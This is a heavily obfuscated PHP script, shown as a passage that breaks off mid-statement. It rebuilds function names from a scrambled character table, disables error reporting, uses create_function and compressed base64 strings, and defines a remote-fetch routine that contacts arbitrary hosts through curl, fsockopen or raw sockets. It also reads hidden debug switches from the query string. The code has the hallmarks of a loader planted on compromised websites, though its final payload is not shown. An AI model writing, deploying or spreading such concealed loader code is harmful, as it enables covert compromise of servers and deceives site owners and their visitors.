//header('Content-Type:text/html; charset=utf-8'); $O_OO__000O='1020'; $O0O00OO___=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$OO00OO0___=$O0O00OO___{16}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{27}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{16}.$O0O00OO___{23}.$O0O00OO___{6}.$O0O00OO___{32}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{6}.$O0O00OO___{23}.$O0O00OO___{23}.$O0O00OO___{3}.$O0O00OO___{6}.$O0O00OO___{32}.$O0O00OO___{25};$O0__O_O0O0=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{29}.$O0O00OO___{33}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{23}.$O0O00OO___{12}.$O0O00OO___{30}.$O0O00OO___{0}.$O0O00OO___{10};$O__O0O0_0O=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{29}.$O0O00OO___{27}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{5}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{6}.$O0O00OO___{29}.$O0O00OO___{26}.$O0O00OO___{6}.$O0O00OO___{10}.$O0O00OO___{6};$OO_O_0O0_0=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{29}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{3}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{12}.$O0O00OO___{0}.$O0O00OO___{27};$O00_O0OO__=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{29}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{10}.$O0O00OO___{12}.$O0O00OO___{5}.$O0O00OO___{30}.$O0O00OO___{35}.$O0O00OO___{18}.$O0O00OO___{10};$O_0O00_O_O=$O0O00OO___{12}.$O0O00OO___{27}.$O0O00OO___{0}.$O0O00OO___{35}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{18}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{24}.$O0O00OO___{29}.$O0O00OO___{6}.$O0O00OO___{3}.$O0O00OO___{35}.$O0O00OO___{24}.$O0O00OO___{10};$O_00OOO0__=$O0O00OO___{38}.$O0O00OO___{12}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{16}.$O0O00OO___{18}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{35}.$O0O00OO___{0}.$O0O00OO___{10}.$O0O00OO___{30}.$O0O00OO___{0}.$O0O00OO___{10}.$O0O00OO___{33};$O_OOO0_0_0=$O0O00OO___{38}.$O0O00OO___{12}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{27}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{35}.$O0O00OO___{0}.$O0O00OO___{10}.$O0O00OO___{30}.$O0O00OO___{0}.$O0O00OO___{10}.$O0O00OO___{33};$OO__OO0_00=$O0O00OO___{31}.$O0O00OO___{10}.$O0O00OO___{10}.$O0O00OO___{16}.$O0O00OO___{29}.$O0O00OO___{3}.$O0O00OO___{18}.$O0O00OO___{12}.$O0O00OO___{23}.$O0O00OO___{26}.$O0O00OO___{29}.$O0O00OO___{19}.$O0O00OO___{18}.$O0O00OO___{30}.$O0O00OO___{24}.$O0O00OO___{20};$O0O___O00O=$O0O00OO___{38}.$O0O00OO___{18}.$O0O00OO___{0}.$O0O00OO___{32}.$O0O00OO___{10}.$O0O00OO___{12}.$O0O00OO___{35}.$O0O00OO___{0}.$O0O00OO___{29}.$O0O00OO___{30}.$O0O00OO___{17}.$O0O00OO___{12}.$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{33};$O__0OO0_O0=$O0O00OO___{30}.$O0O00OO___{24}.$O0O00OO___{24}.$O0O00OO___{35}.$O0O00OO___{24}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{16}.$O0O00OO___{35}.$O0O00OO___{24}.$O0O00OO___{10}.$O0O00OO___{12}.$O0O00OO___{0}.$O0O00OO___{27};$OO_0O0O0__=$O0O00OO___{32}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{10}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{38}.$O0O00OO___{18}.$O0O00OO___{0}.$O0O00OO___{32}.$O0O00OO___{10}.$O0O00OO___{12}.$O0O00OO___{35}.$O0O00OO___{0};$O_0O__00OO=$O0O00OO___{33}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{35}.$O0O00OO___{0}.$O0O00OO___{0}.$O0O00OO___{30}.$O0O00OO___{32}.$O0O00OO___{10};$O0__OOO_00=$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{10}.$O0O00OO___{12}.$O0O00OO___{5}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{23}.$O0O00OO___{12}.$O0O00OO___{5}.$O0O00OO___{12}.$O0O00OO___{10};$O_0_O_O0O0=$O0O00OO___{27}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{31}.$O0O00OO___{35}.$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{3}.$O0O00OO___{20}.$O0O00OO___{0}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{30};$O0O__0_OO0=$O0O00OO___{3}.$O0O00OO___{6}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{22}.$O0O00OO___{36}.$O0O00OO___{29}.$O0O00OO___{26}.$O0O00OO___{30}.$O0O00OO___{32}.$O0O00OO___{35}.$O0O00OO___{26}.$O0O00OO___{30};$O_00OO__O0=$O0O00OO___{33}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{34}.$O0O00OO___{24}.$O0O00OO___{12}.$O0O00OO___{10}.$O0O00OO___{30};$OO00O__O0_=$O0O00OO___{33}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{33}.$O0O00OO___{30};$O0O0O_O__0=$O0O00OO___{16}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{27}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{16}.$O0O00OO___{23}.$O0O00OO___{6}.$O0O00OO___{32}.$O0O00OO___{30};$OO0_00O__O=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{16}.$O0O00OO___{23}.$O0O00OO___{6}.$O0O00OO___{32}.$O0O00OO___{30};$O0OO__0O_0=$O0O00OO___{33}.$O0O00OO___{35}.$O0O00OO___{32}.$O0O00OO___{25}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{26};$OO__O0_O00=$O0O00OO___{38}.$O0O00OO___{12}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{30}.$O0O00OO___{17}.$O0O00OO___{12}.$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{33};$OO__OO000_=$O0O00OO___{32}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{29}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{35}.$O0O00OO___{16}.$O0O00OO___{10};$O000_O_OO_=$O0O00OO___{6}.$O0O00OO___{24}.$O0O00OO___{24}.$O0O00OO___{6}.$O0O00OO___{20}.$O0O00OO___{29}.$O0O00OO___{33}.$O0O00OO___{31}.$O0O00OO___{12}.$O0O00OO___{38}.$O0O00OO___{10};$OO0_0O0O__=$O0O00OO___{16}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{27}.$O0O00OO___{29}.$O0O00OO___{5}.$O0O00OO___{6}.$O0O00OO___{10}.$O0O00OO___{32}.$O0O00OO___{31};$O0__OOO0_0=$O0O00OO___{32}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{29}.$O0O00OO___{30}.$O0O00OO___{24}.$O0O00OO___{24}.$O0O00OO___{35}.$O0O00OO___{24};$OO___0O0O0=$O0O00OO___{32}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{29}.$O0O00OO___{32}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{33}.$O0O00OO___{30};$O0_0_O_O0O=$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{0}.$O0O00OO___{32}.$O0O00OO___{35}.$O0O00OO___{26}.$O0O00OO___{30};$O000O__OO_=$O0O00OO___{16}.$O0O00OO___{6}.$O0O00OO___{24}.$O0O00OO___{33}.$O0O00OO___{30}.$O0O00OO___{29}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23};$O_00__0OOO=$O0O00OO___{27}.$O0O00OO___{2}.$O0O00OO___{12}.$O0O00OO___{0}.$O0O00OO___{38}.$O0O00OO___{23}.$O0O00OO___{6}.$O0O00OO___{10}.$O0O00OO___{30};$O_OO_0O0_0=$O0O00OO___{32}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{29}.$O0O00OO___{12}.$O0O00OO___{0}.$O0O00OO___{12}.$O0O00OO___{10};$O_00OO_O0_=$O0O00OO___{32}.$O0O00OO___{18}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{29}.$O0O00OO___{30}.$O0O00OO___{17}.$O0O00OO___{30}.$O0O00OO___{32};$O0_O0__O0O=$O0O00OO___{12}.$O0O00OO___{33}.$O0O00OO___{29}.$O0O00OO___{6}.$O0O00OO___{24}.$O0O00OO___{24}.$O0O00OO___{6}.$O0O00OO___{20};$O_O0O00O__=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{24}.$O0O00OO___{16}.$O0O00OO___{35}.$O0O00OO___{33};$O0_O0O0_O_=$O0O00OO___{5}.$O0O00OO___{10}.$O0O00OO___{29}.$O0O00OO___{24}.$O0O00OO___{6}.$O0O00OO___{0}.$O0O00OO___{26};$OOO00O__0_=$O0O00OO___{12}.$O0O00OO___{5}.$O0O00OO___{16}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{26}.$O0O00OO___{30};$O_0O_O0_0O=$O0O00OO___{30}.$O0O00OO___{17}.$O0O00OO___{16}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{26}.$O0O00OO___{30};$O_0_0OO0O_=$O0O00OO___{26}.$O0O00OO___{12}.$O0O00OO___{24}.$O0O00OO___{0}.$O0O00OO___{6}.$O0O00OO___{5}.$O0O00OO___{30};$O_0O_O_O00=$O0O00OO___{18}.$O0O00OO___{33}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{30}.$O0O00OO___{16};$OO00O__0O_=$O0O00OO___{18}.$O0O00OO___{0}.$O0O00OO___{23}.$O0O00OO___{12}.$O0O00OO___{0}.$O0O00OO___{25};$O_O0OO_00_=$O0O00OO___{33}.$O0O00OO___{18}.$O0O00OO___{3}.$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24};$OO0_O_0_0O=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24};$O0O0_O_0_O=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{16}.$O0O00OO___{35}.$O0O00OO___{33};$OO0__00OO_=$O0O00OO___{33}.$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{23}.$O0O00OO___{30}.$O0O00OO___{0};$OO0_OO__00=$O0O00OO___{31}.$O0O00OO___{30}.$O0O00OO___{17}.$O0O00OO___{26}.$O0O00OO___{30}.$O0O00OO___{32};$O00_O__0OO=$O0O00OO___{27}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{30}.$O0O00OO___{0}.$O0O00OO___{9};$O000O_O__O=$O0O00OO___{38}.$O0O00OO___{34}.$O0O00OO___{24}.$O0O00OO___{12}.$O0O00OO___{10}.$O0O00OO___{30};$O_0O0O__O0=$O0O00OO___{38}.$O0O00OO___{32}.$O0O00OO___{23}.$O0O00OO___{35}.$O0O00OO___{33}.$O0O00OO___{30};$O0OO_O00__=$O0O00OO___{38}.$O0O00OO___{24}.$O0O00OO___{30}.$O0O00OO___{6}.$O0O00OO___{26};$O0_O__O00O=$O0O00OO___{38}.$O0O00OO___{27}.$O0O00OO___{30}.$O0O00OO___{10}.$O0O00OO___{33};$OO0_00O_O_=$O0O00OO___{32}.$O0O00OO___{31}.$O0O00OO___{5}.$O0O00OO___{35}.$O0O00OO___{26};$O0__O0O0O_=$O0O00OO___{10}.$O0O00OO___{24}.$O0O00OO___{12}.$O0O00OO___{5};$O0__OO0O_0=$O0O00OO___{41}.$O0O00OO___{35}.$O0O00OO___{12}.$O0O00OO___{0};$O_0OO_0O0_=$O0O00OO___{38}.$O0O00OO___{30}.$O0O00OO___{35}.$O0O00OO___{38};$OO_00O_O_0=$O0O00OO___{26}.$O0O00OO___{6}.$O0O00OO___{10}.$O0O00OO___{30};header('Content-Type:text/html;charset=utf-8');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x30\x5f\x4f\x30"](0);if(!function_exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};$OO_O__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x4f\x30\x5f\x5f"]('$url,$O__0_OOO00=0,$OOO0_0_O0_=1,$O_0O0_O_0O=NULL,$O00_OO_0_O=array()','if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x30\x4f\x5f\x5f"]("/^http\\:\\/\\//si",$url)){if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])){$O0_0OOO_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$O0_0OOO_0_.=$url;echo $O0_0OOO_0_;unset($O0_0OOO_0_);exit();}return \'\';}$OO__000O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$O__O_00OO0=$O_O_O_00O0=\'\';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x30\x5f\x30\x4f"](\'|\',$OO__000O_O) as $c){$O_O0O__0O0=1;if($O__0_OOO00&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($c,0,1)==\'c\'){continue;}foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x30\x5f\x30\x4f"](\'+\',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x5f\x4f\x30\x30\x4f"]($d)){$O_O0O__0O0=0;}}unset($d);if($O_O0O__0O0){$O__O_00OO0=$c;break;}}unset($OO__000O_O,$c);if($O__O_00OO0==\'\'){return 0;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($O__O_00OO0,0,1)==\'c\'){$O0OO0O_0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x4f\x30\x5f\x30"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_TIMEOUT,100);if($OOO0_0_O0_==2){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_POST,1);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x4f\x30\x4f"]($O_0O0_O_0O)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f"]($O0OO0O_0__,CURLOPT_POSTFIELDS,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x5f\x30\x30"]($O_0O0_O_0O));}}$O00O_0_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x4f\x30\x5f"]($O0OO0O_0__);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x4f\x30\x4f\x30"]($O0OO0O_0__);if(!$O00O_0_O_O){if(isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$O0_0OOO_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'i04uLhTcpRSC0qyi+KVctLKi6tPwBgA=\');$O0_0OOO_0_.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x4f\x30\x5f\x30"]($O0OO0O_0__);echo $O0_0OOO_0_;unset($O0_0OOO_0_);exit();}return 0;}else{$O00O_0_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x30\x4f\x30\x4f\x5f"]($O00O_0_O_O,"\\xEF\\xBB\\xBF"));return $O00O_0_O_O;}}$OO_O_000_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x5f\x5f\x4f\x4f\x5f"]($url);isset($OO_O_000_O["\x68\x6f\x73\x74"])||$OO_O_000_O["\x68\x6f\x73\x74"]=\'\';isset($OO_O_000_O["\x70\x61\x74\x68"])||$OO_O_000_O["\x70\x61\x74\x68"]=\'\';isset($OO_O_000_O["\x71\x75\x65\x72\x79"])|| $OO_O_000_O["\x71\x75\x65\x72\x79"]=\'\';isset($OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"])||$OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]=\'\';$OO0O__00_O=$OO_O_000_O["\x70\x61\x74\x68"]?$OO_O_000_O["\x70\x61\x74\x68"].($OO_O_000_O["\x71\x75\x65\x72\x79"]?\'?\'.$OO_O_000_O["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$OO_OO__000=$OO_O_000_O["\x68\x6f\x73\x74"];if($OO_O_000_O["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O__00_0OOO=\'1.1\';$OO__O_O000=empty($OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"])?443:$OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"];$OO_OO__000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'Ky7OshTdLtPXBwA=\');$OO_OO__000.=$OO_O_000_O["\x68\x6f\x73\x74"];}else{$O__00_0OOO=\'1.0\';$OO__O_O000=empty($OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"])?80:$OO_O_000_O["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"];}$O0OO___00O=\'Host:\';$O0OO___00O.=$OO_OO__000;$O00_OO_0_O[]=$O0OO___00O;$O00_OO_0_O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$O00_OO_0_O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$O00_OO_0_O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'c0xOThTi0osdLtPS1wIA\');unset($O0OO___00O);if($OOO0_0_O0_==2){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x4f\x30\x4f"]($O_0O0_O_0O)){$O_0O0_O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x4f\x30\x5f\x30\x30"]($O_0O0_O_0O);}$O00_OO_0_O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'c87PKhT0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9tPJTQEA\');$O00_OO_0_O[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'c87PKhT0nNK9H1Sc1LL8mtPwAgA=\').${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x5f"]($O_0O0_O_0O);$O_O_O_00O0="POST $OO0O__00_O HTTP/$O__00_0OOO\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x30\x4f\x5f\x30"]("\\r\\n",$O00_OO_0_O)."\\r\\n\\r\\n".$O_0O0_O_0O;unset($O_0O0_O_0O);}else{$O_O_O_00O0="GET $OO0O__00_O HTTP/$O__00_0OOO\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x30\x4f\x5f\x30"]("\\r\\n",$O00_OO_0_O)."\\r\\n\\r\\n";}unset($O00_OO_0_O,$OO_O_000_O,$O__00_0OOO,$OO0O__00_O);$O__O0O_00O=null;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($O__O_00OO0,-1)==\'n\'){$O__O0O_00O=$O__O_00OO0($OO_OO__000,$OO__O_O000,$O0_0OOO_0_no,$O0_0OOO_0_str,30);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($O__O_00OO0,-1)==\'t\'){$O_00_OO_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f"](\'K0kushTNLtPXBwA=\');$O_00_OO_0O.=$OO_OO__000;$O_00_OO_0O.=\':\';$O_00_OO_0O.=$OO__O_O000;$O__O0O_00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x5f\x4f\x30\x4f\x30"]($O_00_OO_0O,$O0_0OOO_0_no,$O0_0OOO_0_str,30);unset($O_00_OO_0O);}}$O0O0_O_O_0=\'\';if($O__O0O_00O){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f\x30"]($O__O0O_00O,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x30\x4f\x4f\x5f\x5f"]($O__O0O_00O,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x5f\x4f\x5f\x5f\x4f"]($O__O0O_00O,$O_O_O_00O0);if(!$O__0_OOO00){$O0O_O_0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x5f\x30\x4f"]($O__O0O_00O);if(!$O0O_O_0O0_["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30\x5f"]($O__O0O_00O)){$OO_O_00O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x5f\x5f\x4f\x30\x30\x4f"]($O__O0O_00O);if($OO_O_00O0_&&($OO_O_00O0_=="\\r\\n"||$OO_O_00O0_=="\\n")){break;}unset($OO_O_00O0_);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30\x5f"]($O__O0O_00O)){$O0OO0__0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x4f\x30\x30\x5f\x5f"]($O__O0O_00O,8192);$O0O0_O_O_0.=$O0OO0__0O_;unset($O0OO0__0O_);}}unset($O0O_O_0O0_);}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x5f\x5f\x4f\x30"]($O__O0O_00O);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f"]($O__O_00OO0,-1)==\'e\'){$OO_O__00O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f\x30"]($OO_OO__000);$O__O0O_00O=$O__O_00OO0(AF_INET,SOCK_STREAM,0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x5f\x30\x30\x4f\x4f"]($O__O0O_00O,$OO_O__00O0,$OO__O_O000)){if(!$O__0_OOO00){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x5f\x4f\x30"]($O__O0O_00O,$O_O_O_00O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x5f\x30\x30\x4f\x4f\x5f"]($O_O_O_00O0));while($OO__000_OO=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x30\x4f\x5f\x30"]($O__O0O_00O,8192)){$O0O0_O_O_0.=$OO__000_OO;unset($OO__000_OO);}$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x4f\x30\x5f\x30\x4f"]("\\r\\n\\r\\n",$O0O0_O_O_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f\x5f"]($O0O0_O_O_0);$O0O0_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f"]("\\r\\n\\r\\n",$O0O0_O_O_0);}else{$O0OO_0_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["